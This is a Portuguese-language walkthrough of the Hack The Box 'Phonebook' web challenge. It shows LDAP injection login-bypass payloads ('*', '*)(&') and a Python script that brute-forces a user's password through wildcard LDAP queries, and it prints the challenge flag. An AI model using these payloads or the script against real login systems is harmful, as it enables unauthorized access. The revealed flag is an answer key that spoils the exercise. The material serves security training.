O desafio Phonebook permite que você explore a vulnerabilidade de Injeção LDAP e Ataque de Força Bruta no Login.
Creator | Challenge Web | Difficulty | Points | Flag |
vajkdry | Phonebook | 🟢 EASY | 30 | HTB{d1rectory_h4xx0r_is_k00l} |
LDAP Injection | ||||
OWASP | PortSwigger | CWE-90 : CWE-116 | CAPEC-136 | GitHub |
Através do navegador acesse o IP gerado pelo HTB, neste exemplo : http://104.248.173.13:32327/login
Observe a dica na página de login :
Informe um * (asterisco) nos campos de Usuário e Senha, e clique em Login.
Login realizado com sucesso! 👍
Uma alternativa de bypass no login seria processar a seguinte consulta no back-end :
Neste caso a consulta LDAP seria desta forma :
(&(username= *)(& )(password= *)(& ))
Informe os caracteres *)(& nos campos de Usuário e Senha, e clique em Login.
Login realizado com sucesso! 👍
No campo Search pesquise pela letra A para exibir todos os resultados.
Pode pesquisar pelo usuário Reese.
Para obtermos a Flag é necessário realizar um ataque de Brute Force.
import requests import string headers = {"UserAgent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"} url = "http://104.248.173.13:32327/login" chars = string.ascii_letters chars += ''.join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '&', '-', '_', "'"]) counter = 0 flag = "HTB{" while True: if counter == len(chars): print(flag + "}") break # Criando as Flags ex: HTB{a*} password = flag + chars[counter] + "*}" print("Trying: " + password) data = {"username" : "Reese", "password" : password} response = requests.post(url, headers=headers, data=data) if (response.url != url + "?message=Authentication%20failed"): flag += chars[counter] counter = 0 else: counter += 1
Informe os dados :
Login realizado com sucesso! 👍